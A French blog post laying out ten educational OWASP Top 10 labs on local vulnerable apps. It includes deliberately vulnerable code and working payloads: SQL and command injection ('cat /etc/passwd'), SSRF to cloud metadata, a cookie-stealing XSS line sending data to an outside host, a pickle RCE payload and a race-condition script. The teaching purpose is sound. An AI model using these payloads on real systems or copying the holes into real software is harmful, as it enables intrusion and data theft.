lundi 13 octobre 2025

10 Labs Pratiques pour Maîtriser l'OWASP Top 10

 

10 Labs Pratiques pour Maîtriser l'OWASP Top 10 : Mon Guide Terrain👽


Après ma formation intensive sur l'OWASP Top 10, on m'a souvent demandé : "OK, mais concrètement, par où je commence ?". Alors voilà, je vous partage mes labs préférés – ceux qui m'ont vraiment fait comprendre les vulnérabilités, pas juste les connaître.

Les Plateformes Complètes (Pour Démarrer en Douceur)

1. OWASP WebGoat : Mon Premier Amour



Ce que c'est : Une application Java délibérément vulnérable créée par l'OWASP elle-même. C'est gratuit, open-source, et ça tourne en local.

Pourquoi je l'adore :

  • Des leçons guidées étape par étape
  • Des hints quand tu bloques (et crois-moi, tu vas bloquer)
  • Couvre tout le Top 10 avec des exercices progressifs

Mon lab préféré ici : L'exercice sur les JWT. Tu commences avec un token valide, tu apprends à le décoder, puis à le modifier. La première fois que j'ai réussi à me transformer en admin en changeant juste "role": "user" en "role": "admin" et en utilisant l'algorithme "None", j'ai eu un déclic. C'était tellement simple que ça en devenait flippant.

Comment l'installer :

bash
# Avec Docker (le plus simple)
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

# Puis ouvre http://localhost:8080/WebGoat

2. DVWA (Damn Vulnerable Web Application) : Le Classique



Ce que c'est : Une appli PHP/MySQL volontairement trouée comme du gruyère. Quatre niveaux de difficulté : low, medium, high, impossible.

Pourquoi c'est génial : Tu peux voir exactement le même code source avec différents niveaux de protection. Tu comprends pourquoi une défense fonctionne ou pas.

Mon lab préféré ici : Le SQL Injection en mode low. C'est brutal, direct, sans filtre. Tu tapes ' OR '1'='1 dans le champ User ID et BAM, toutes les données. Puis tu passes en mode medium et tu dois contourner les protections. C'est comme un puzzle qui devient progressivement plus complexe.

Setup rapide :

bash
docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Login: admin / password

Les Labs Spécifiques (Quand Tu Veux Creuser)

3. Le Lab IDOR Maison : Construis ta Propre Vulnérabilité

Projet : Crée une mini API REST avec des profils utilisateurs.

Ce que j'ai fait :

javascript
// Version vulnérable (Node.js/Express)
app.get('/api/user/:id', (req, res) => {
    const userId = req.params.id;
    // Pas de vérification si l'user connecté peut accéder à cet ID
    db.query('SELECT * FROM users WHERE id = ?', [userId], (err, result) => {
        res.json(result);
    });
});

L'exercice :

  1. Crée 3 comptes utilisateurs
  2. Connecte-toi avec le compte #1
  3. Change manuellement l'ID dans l'URL pour accéder au profil #2 et #3
  4. Maintenant, corrige le code pour empêcher ça

Pourquoi ça marche : Parce que c'est TON code. Tu vois exactement où est le trou. Et quand tu le corriges, tu comprends vraiment la logique de vérification d'accès.

4. Le Lab Command Injection avec Python

Projet : Un simple outil de "ping" web.

Code volontairement vulnérable :

python
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/ping')
def ping():
    host = request.args.get('host')
    # DANGER : Injection directe
    result = os.system(f'ping -c 4 {host}')
    return f"Ping exécuté vers {host}"

L'exercice :

  1. Teste normalement : http://localhost:5000/ping?host=google.com
  2. Maintenant essaie : ?host=google.com; ls -la
  3. Ou encore : ?host=google.com && cat /etc/passwd
  4. Flippant, non ? Tu viens d'exécuter des commandes arbitraires
  5. Corrige avec une validation stricte ou un subprocess sécurisé

Ma révélation : La première fois que j'ai vu le contenu de /etc/passwd s'afficher, j'ai réalisé la puissance destructrice d'une simple concatenation de string.

5. Le Challenge JWT : Casse Tes Propres Tokens

Projet : Crée un système d'authentification avec JWT.

Mon lab en 3 étapes :

Étape 1 - Version ultra-vulnérable :

javascript
// Ne JAMAIS faire ça en prod !
app.post('/login', (req, res) => {
    const token = jwt.sign(
        { userId: 1, role: 'user' },
        'secret123',  // Secret faible
        { algorithm: 'HS256' }
    );
    res.json({ token });
});

Exercice :

  • Utilise jwt.io pour décoder ton token
  • Change le role en admin
  • Utilise un outil de brute-force (hashcat, john) pour craquer le secret
  • Signe ton nouveau token avec le secret trouvé

Étape 2 - L'attaque "None" :

javascript
// Version qui accepte l'algorithme None
app.post('/verify', (req, res) => {
    const token = req.headers.authorization;
    const decoded = jwt.decode(token, { complete: true });
    // Pas de vérification de l'algorithme !
    res.json(decoded);
});

Exercice : Modifie le header du JWT pour utiliser "alg": "none", supprime la signature, et voilà.

Étape 3 - Corrige tout : Implémente les bonnes pratiques et essaie de casser ta propre solution.

6. Le Lab SSRF : Explore Ton Propre Réseau

Projet : Un "URL Fetcher" qui récupère le contenu d'une URL.

Setup :

python
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    # Vulnérable : pas de validation
    response = requests.get(url)
    return response.text

Exercices progressifs :

  1. Teste normalement : ?url=https://example.com
  2. Essaie d'accéder à localhost : ?url=http://localhost:5000/admin
  3. Scan de ports : ?url=http://localhost:3306 (MySQL)
  4. Si tu es sur AWS/Azure : ?url=http://169.254.169.254/latest/meta-data/
  5. Implémente une whitelist et contourne-la avec des redirections

Mon moment "aha" : Quand j'ai réussi à lire mes propres variables d'environnement via un endpoint interne que j'avais complètement oublié. Le SSRF transforme ton serveur en proxy gratuit.

7. Le Lab XSS : Du Basique au Stored

Projet : Un mini "guestbook" ou livre d'or.

Version 1 - Reflected XSS :

php
<?php
// Ne JAMAIS faire ça
echo "Bonjour " . $_GET['name'];
?>

Teste : ?name=<script>alert('XSS')</script>

Version 2 - Stored XSS (plus dangereux) : Un système de commentaires qui stocke en base sans sanitization.

Exercices :

  1. Injecte un simple alert()
  2. Essaie de voler les cookies : <script>fetch('http://ton-serveur.com?c=' + document.cookie)</script>
  3. Contourne les filtres basiques (<img src=x onerror=alert()>)
  4. Implémente CSP (Content Security Policy) et essaie de contourner

8. Le Lab Race Condition : Le Timing est Tout

Projet : Un système de points/crédits avec option de transfert.

Code vulnérable :

python
def transfer_credits(from_user, to_user, amount):
    # Vulnérable : pas de transaction atomique
    balance = get_balance(from_user)
    if balance >= amount:
        time.sleep(0.1)  # Simule un traitement
        deduct_balance(from_user, amount)
        add_balance(to_user, amount)

L'exercice : Utilise Burp Suite ou un simple script pour envoyer 10 requêtes simultanées. Tu devrais pouvoir transférer plus de crédits que tu n'en as.

Script d'attaque :

python
import threading
import requests

def attack():
    for _ in range(10):
        requests.post('http://localhost/transfer', 
                     json={'to': 2, 'amount': 100})

threads = [threading.Thread(target=attack) for _ in range(10)]
[t.start() for t in threads]

9. Le Lab Insecure Deserialization

Projet : Une appli Python avec pickle (DANGER).

Code vulnérable :

python
import pickle
from flask import Flask, request

@app.route('/load')
def load_data():
    data = request.args.get('data')
    obj = pickle.loads(base64.b64decode(data))
    return str(obj)

L'exercice :

python
# Crée un payload malveillant
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('ls -la',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
# Envoie ce payload à ton endpoint

Tu viens d'exécuter du code arbitraire via la désérialisation. Terrifiant, non ?

10. Le Lab Broken Access Control Complet

Projet : Une petite appli de gestion de documents avec rôles.

Scénarios à tester :

  1. IDOR horizontal : User A accède aux docs de User B
  2. IDOR vertical : Un user normal accède à /admin/users
  3. Parameter tampering : Change ?role=user en ?role=admin dans l'URL
  4. Missing function level access : L'UI cache le bouton "Delete" mais l'API ne vérifie pas
  5. Path traversal : /files/../../etc/passwd

Mon setup complet :

javascript
// Trois endpoints à tester
app.get('/document/:id', (req, res) => {
    // Pas de vérification de propriété
});

app.delete('/document/:id', (req, res) => {
    // Accessible même si l'UI cache le bouton
});

app.get('/admin/dashboard', (req, res) => {
    // Pas de vérification de rôle côté serveur
});

Mes Outils Favoris pour les Labs

Burp Suite Community : Pour intercepter et modifier les requêtes HTTP. Indispensable.

OWASP ZAP : L'alternative gratuite à Burp. Parfait pour scanner automatiquement.

Postman/Insomnia : Pour tester les APIs manuellement.

JWT.io : Pour décoder et manipuler les tokens JWT.

SQLMap : Pour automatiser les injections SQL (après les avoir comprises manuellement).

Docker : Pour isoler tes environnements de test. Tu ne veux pas casser ton système principal.

Mon Parcours d'Apprentissage Recommandé

Semaine 1-2 : Les Bases

  • DVWA en mode "low" pour toutes les vulnérabilités
  • WebGoat pour les leçons guidées

Semaine 3-4 : Comprendre en Profondeur

  • Crée tes propres labs vulnérables pour IDOR et Injection
  • Casse tes propres créations

Semaine 5-6 : Niveau Intermédiaire

  • JWT lab complet
  • SSRF et XXE
  • DVWA en mode "medium"

Semaine 7-8 : Avancé

  • Race conditions
  • Deserialization
  • DVWA en mode "high"
  • Commence à chaîner les vulnérabilités

La Vérité sur l'Apprentissage

Voilà ce que personne ne te dit : tu vas échouer. Beaucoup. Il m'a fallu trois heures pour réussir ma première injection SQL parce que j'oubliais constamment de fermer mes quotes. J'ai passé une soirée entière sur un SSRF avant de réaliser que je testais sur le mauvais port.

C'est frustrant, c'est humiliant parfois, mais c'est exactement comme ça qu'on apprend. Chaque échec grave la leçon plus profondément dans ton cerveau.

L'État d'Esprit à Adopter

Quand tu fais ces labs, ne te contente pas de suivre les instructions. Pose-toi des questions :

  • Pourquoi ça marche ?
  • Qu'est-ce qui se passe côté serveur ?
  • Comment je détecterais cette attaque dans mes logs ?
  • Quelle est la correction minimale ? La correction optimale ?
  • Qu'est-ce qui pourrait encore casser après ma correction ?

C'est cet état d'esprit qui transforme un exercice en vraie compétence.


Mon Conseil Final : Ne fais pas tous ces labs d'un coup comme une checklist. Choisis-en un, passe une semaine dessus. Casse-le de 15 façons différentes. Corrige-le. Essaie de contourner ta correction. Recommence. C'est en itérant sur la même vulnérabilité que tu passes de "je sais ce que c'est" à "je comprends vraiment comment ça fonctionne". Et surtout, documente tout ce que tu fais. Dans six mois, quand tu auras oublié les détails, tes propres notes seront ton meilleur prof. Crois-en mon expérience : j'ai un dossier "labs-notes" qui fait maintenant 200 pages et c'est devenu ma ressource la plus précieuse. 📝🔐

#CyberSecurity #HandsOnLearning #OWASPTop10 #PracticalHacking #WebSecurity #LabsSetup #EthicalHacking #LearnByDoing #InfoSec

Aucun commentaire:

Enregistrer un commentaire

La sécurité de votre PME : Protégez Votre Entreprise Sans Devenir Expert Informatique

  La sécurité de votre PME : Protégez Votre Entreprise Sans Devenir Expert Informatique👽 Le jour où tout bascule Imaginez : il est 8h30 un ...